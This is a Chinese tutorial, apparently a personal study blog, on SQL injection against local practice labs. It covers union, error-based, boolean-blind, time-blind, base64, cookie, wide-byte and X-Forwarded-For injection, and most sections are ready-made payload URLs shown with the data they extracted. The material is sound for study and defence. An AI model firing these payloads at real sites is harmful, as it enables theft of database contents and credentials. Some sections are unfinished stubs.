本文最后更新于 2025-01-20,文章内容可能已经过时。

💉SQL 注入原理

核心原理:危险函数 + 用户可控变量

动态页面有时会通过脚本引擎将用户输入的参数按照预先设定的规则构造成 SQL 语句来进行数据库操作,SQL 注入攻击指的是通过构建特殊的输入作为参数传入 Web 应用程序,改变原有的 SQL 语句的语义来执行攻击者所要的操作,其主要原因是程序没有采用必要的措施避免用户输入内容改变原有 SQL 语句的语义。

攻击者通过浏览器或者其他的客户端(bp 抓包),将恶意的 sql 语句插入到网站的参数中去。网站没有对输入的参数进行严格的校验,最后会将参数带入到后端的数据库当中进行执行。从而使攻击者通过数据库获取敏感信息或者执行其他恶意操作。

SQL 注入指 web 应用程序对用户输入的数据没有做过多的校验,导致用户输入的数据从前端传入到后端去并且在数据库当中去执行了,并且参数是用户可控的,

🎈SQL 的危害

  • 获取敏感数据

  • 绕过登录验证(万能密码)

  • 网站挂马

  • 执行命令

  • 文件操作

🎈分类

按注入点分类:GETPOSTCookie 等数据包相关字段

按变量类型:字符型数字型

select * from users where id=$id
select * from users where id='$id'

select * from users where id=1				# 数字型
select * from users where id='1'			# 字符型
select * from users where id="1"			# 字符型
select * from users where id=(1)			# 括号型

# 数字型判断
select * from users where id=1
select * from users where id=1 and 1=1		# 为真
select * from users where id=1 and 1=2		# 异常,判断为数字型
select * from users where id=1/1		# 为真
select * from users where id=1/0		# 异常,判断为数字型


# 字符型判断
select * from users where id='1'
select * from users where id='1 and 1=1'	# 正常执行
select * from users where id='1 and 1=2'	# 正常执行(无法判断)
select * from users where id='1' and '1'='1'		# 为真
select * from users where id='1' and '1'='2'		# 异常,判断为字符型
select * from users where id='1' and 1='1'		# 为真
select * from users where id='1' and 1='2'		# 异常,判断为字符型
select * from users where id='1' and 1=1 #'			# 为真
select * from users where id='1' and 1=2 #'			# 异常,判断为字符型

按拿去数据方式(四大注入)

  • 回显注入

  • 报错注入

  • 布尔盲注

  • 时间盲注

🎈MYSQL 常用表

从 MySQL 5 开始,MySQL 自带 information_schema 数据库,它提供了访问数据库元数据的方式。

columns、tables、schemata

💡information_schema 结构

information_schema
     |_schemata              # 所有数据库
         |_schema_name       # 数据库名
     |_tables                # 所有表名
         |_table_schema      # 表所属数据库名
         |_table_name        # 表名
     |_columns               # 所有字段信息
         |_table_schema      # 字段所属数据库名
         |_table_name        # 字段所属表名
         |_column_name       # 字段名

🎈数据库操作

💡命令行操作

F:\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql.exe -uroot -p
F:\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql.exe -uroot -proot < xxxxxx.sql
mysql> show databases;
mysql> create database xxxxxx;
mysql> drop database xxxxxx;
mysql> use xxxxxx;
mysql> show tables;
mysql> select * from users;
mysql> select * from users where user='admin';

💡Navicat16 操作数据库

D:\Navicat_Premium_16\navicat.exe

💡phpmyadmin

http://127.0.0.1/phpMyAdmin4.8.5

💡adminer.php

http://127.0.0.1/adminer.php?username=root&db=dvwa

💡SQL Front5.3 操作数据库

F:\phpstudy_pro\Extensions\SQL_Front5.3\SQL-Front.exe

🔎Mysql 重要函数说明

🎈order by 函数

功能:order by 后面加数字,代表以第几列进行排序,若填没有的列会报错,以此来确认有多少列数据

二分法:设猜测列数为 x,若不是则 x/2,再不是则猜测新 x 值为 x/2/2..... 以此类推

# 配合二分法使用
select * from users where id=1 order by 3	# 第一次猜3若显示正常,说明至少有3列
select * from users where id=1 order by 4	# 第二次猜4发现报错,说明有3列

🎈union 函数

要求:字符编码 (排序规则)、字段数量一致

功能:确定列数后可以通过此函数找到注入点

select * from users where id=1 union select 1,2,3

🎈group_concat 函数 (聚合函数)

功能:在一个字段中显示所有内容

# 聚合函数
select * from users where id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata -- '

🎈limit 函数

功能:限制查询显示的数据量

select * from users limit 0,1
select * from users limit 1,1
select * from users limit 2,4   //从第3行开始显示4行数据

🎈substr 函数

功能:

🎈right 函数

功能:

🎈lower 函数

功能:

🎰回显注入(联合注入)

🎈第一步:找注入点

首先需要找到注入点

一般存在于能与用户交互的地方,例如 URL、搜索框等

http://127.0.0.1/sqli-labs-master/Less-1/?id=1      # 原URL,猜测其为注入点
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'		# 加上'尝试将代码中前面的'闭合发现报错,说明页面有可能存在sql注入

🎈第二步:判断注入类型

接着判断变量类型

  • 数字型:若为数字型则直接可以开始后续操作

  • 字符型:若为字符型需要进行闭合与注释操作

http://127.0.0.1/sqli-labs-master/Less-1/?id=1/1        # 使用运算符测试变量类型
http://127.0.0.1/sqli-labs-master/Less-1/?id=1/0		# 1/0=0 当id=0时,页面无变化则为字符类型,若内容消失则为数字类型

#字符型闭合方式
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' -- -
http://127.0.0.1/sqli-labs-master/Less-1/?id=1') -- -

🎈第三步:判断字段数量

通过 order by 函数对字段(列)数量进行判断进而找出合适的注入点

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+      # 没报错说明至少有3个字段
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+		# 报错,判断为3个字段

🎈第四步:联合查询

第三步中我们判断出了字段数量,此时则可以通过 union 函数找到合适的注入点,并且有需要时我们要抑制正常的页面

#以字符类型为例,进行联合查询
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' union select 1,1,1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,1,1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

# 抑制正常页面的方法(数字型)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-0 union select 1,2,3

# 抑制正常页面的方法(字符型)
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=12345678' union select 1,2,3 -- 
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 union select 1,2,3 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 0 union select 1,2,3 -- 
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1<>1 union select 1,2,3 -- 

🎈第五步:查询数据库名

在上一步找到注入点后我们需要对注入点进行注入

# 将注入点改成database()即可爆出数据库名称
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3 --+
数据:security

# 利用information_schema查询数据库名称
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,schema_name,3 from information_schema.schemata --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

🎈第六步:查询数据表名

利用 information_schema 查询数据表名称

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
数据:emails,referers,uagents,users

🎈第七步:查询字段名

利用 information_schema 查询字段名称

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
数据:id,username,password

🎈第八步:查询数据

对字段进行查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(id,'---',username,'---',password),3 from security.users --+
数据:
1---Dumb---Dumb,
2---Angelina---I-kill-you,
3---Dummy---p@ssword,
4---secure---crappy,
5---stupid---stupidity,
6---superman---genious,
7---batman---mob!le,
8---admin---admin,
9---admin1---admin1,
10---admin2---admin2,
11---admin3---admin3,
12---dhakkan---dumbo,
14---admin4---admin4

⛔报错注入

如果 WEB 应用把 SQL 注入的报错信息返回到客户端,那么可以通过构造特殊的错误语句并通过返回的 错误信息盗取数据。

要求:要有报错信息,必须是数据库报错

🎈xpath 报错

xml 文档当中提取数据,限制为 32 个字符

http://wsl:32769/sqli/error.php?username=test'
http://wsl:32769/sqli/error.php?username=test'

🎈函数

  • concat()

select * from users where username='test' and updatexml(1,concat(0x7e,0x7e,database(),0x5e),1)#'
select mid(database(),2,2)
  • mid()

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,database(),0x5e),1)--+
  • substr()

  • substring()

🎈判断注入点、注入类型

查询数据库名

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5e),1)--+
数据:~users,winfo,wresetpass,xss^

🎈查询数据表名

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5e),1)--+
#数据:~id,username,password,email,addr    此处数据获取不完全

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,32)),0x5e),1)--+
http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),25,32)),0x5e),1)--+
#数据:~il,address^     使用切片将未显示数全

🎈查询字段名

http://wsl:32769/sqli/error.php?username=test' and updatexml(1,concat(0x7e,(select substr((select group_concat(id,username,password) from test.users),1,32)),0x5e),1)--+

🧬布尔盲注

页面只回显真、假

🎈函数

ascii 96~122 小写字母

  • min()

  • substr()

  • substring()

  • lower

  • length() 获取字符长度

  • left() 从左开始截取

  • rigth() 从右开始截取

  • lower()

id()/substr()/substring()
select mid(database(),2,2)
ord()/ascii()
select ascii(mid(database(),1,1))
length()
select length(database())
char()
select char(110)
count()
select count(*) from users
left()/right()
select left(database(),2)
select right(database(),3)
lower()
select lower('ADwdaAWD')
limit
select * from users limit 0,1
select * from users limit 1,2

🎈判断注入点 / 类型

http://wsl:32769/sqli/boolean.php?id=1/1  	# 正常
http://wsl:32769/sqli/boolean.php?id=1/0	# 正常,初略判断为字符类型

http://wsl:32769/sqli/boolean.php?id=1' --+		# 为字符类型

🎈判断当前数据库长度

http://wsl:32769/sqli/boolean.php?id=1' and length(database())>4-- -   
http://wsl:32769/sqli/boolean.php?id=1' and length(database())>3 -- -
http://wsl:32769/sqli/boolean.php?id=1' and length(database())=4 -- -   # 判断当前数据库名长度为4个字符

🎈判断当前数据库名

http://wsl:32769/sqli/boolean.php?id=1' and ord(mid(database(),1,1))=116 -- -		# 判断出当前数据库名的第一个字符为t
http://wsl:32769/sqli/boolean.php?id=1' and ord(mid(database(),2,1))=101 -- -		# 判断出当前数据库名的第二个字符为e

🎈判断当前数据表个数

select table_name from information_schema.tables where table_schema=database()
select count(table_name) from information_schema.tables where table_schema=database()
(select count(table_name) from information_schema.tables where table_schema=database())>1

http://wsl:32769/sqli/boolean.php?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 -- -		# 判断出当前数据库一共有4张表

🎈判断当前数据表长度

select table_name from information_schema.tables where table_schema=database()
select length(table_name) from information_schema.tables where table_schema=database()
select length(table_name) from information_schema.tables where table_schema=database() limit 0,1
select length(table_name) from information_schema.tables where table_schema=database() limit 2,1
select length(group_concat(table_name)) from information_schema.tables where table_schema=database()

select length(table_name) from information_schema.tables where table_schema=database() limit 0,1
(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1

http://wsl:32769/sqli/boolean.php?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>1 -- -		# 当前数据库的第一张表一共有5个字符

🎈判断当前数据表名称

select table_name from information_schema.tables where table_schema=database()
select table_name from information_schema.tables where table_schema=database() limit 0,1
select mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97


http://wsl:32769/sqli/boolean.php?id=1' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117) -- -   # 判断出当前数据库的第一张表的第一个字符为u
http://wsl:32769/sqli/boolean.php?id=1' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117) -- -

🎈判断字段个数

select count(column_name) from information_schema.columns where table_schema=database() and table_name='users'

http://wsl:32769/sqli/boolean.php?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=5 -- -		# 判断出当前数据库的第一张users表的字段个数为5

🎈判断字段长度

http://wsl:32769/sqli/boolean.php?id=1' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>1 -- -

🎈判断字段名称

select column_name from information_schema.columns where table_schema=database() and table_name='users'
select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1
select substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1)='u'
select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))
select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))>96

http://wsl:32769/sqli/boolean.php?id=1' and (select ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))>96) -- -

🎈判断数据

🎈BP 爆破实现布尔盲注

⏱️时间盲注

在布尔盲注基础上,无论页面对错只回显一种情况,需要对数据库进行延时操作

select table_name from information_schema.tables where table_schema=database()
select table_name from information_schema.tables where table_schema=database() limit 2,1
select mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1)
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96
select if((select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96),sleep(2),0)


http://wsl:32769/sqli/time.php?id=1 and (select if((select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=119),sleep(2),0))

💥其他类型注入

🎈base64 注入

服务端对 URL 传入的参数进行了 base64 编解码时

MQ%3d%3d
MQ==
1

1/0		MS8w

-1 union select 1,2,3,4
http://wsl:32769/sqli/base64.php?id=LTEgdW5pb24gc2VsZWN0IDEsMiwzLDQ=

🎈Cookie 注入

参数由 Cookie 进行传递时

# 在请求头实现/插件
Cookie: id=1 order by 5

🎈宽字节

参数使用 gbk 编码,所以无法正常注入,此时注入需要支持中文字符

GBK 编码(页面 + 数据库)如果前面的 ascii 码大于 128,mysql 就会将两个字符视为一个汉字

一个汉字占两个字节(首字节 - 尾字节)例如 :%df%df

1'
1\'

>128


十进制130,转纯16进制,带上%


1%df'
1%df\'
1%df%5c%27


http://wsl:32769/sqli/kzj.php?id=-1%81%27%20union%20select%201,2,3,4,5--+

🎈XFF 头注入

要求:服务端使用 X-Forwarded-For 头进行参数传递时

X-Forwarded-For: 192.168.1.4'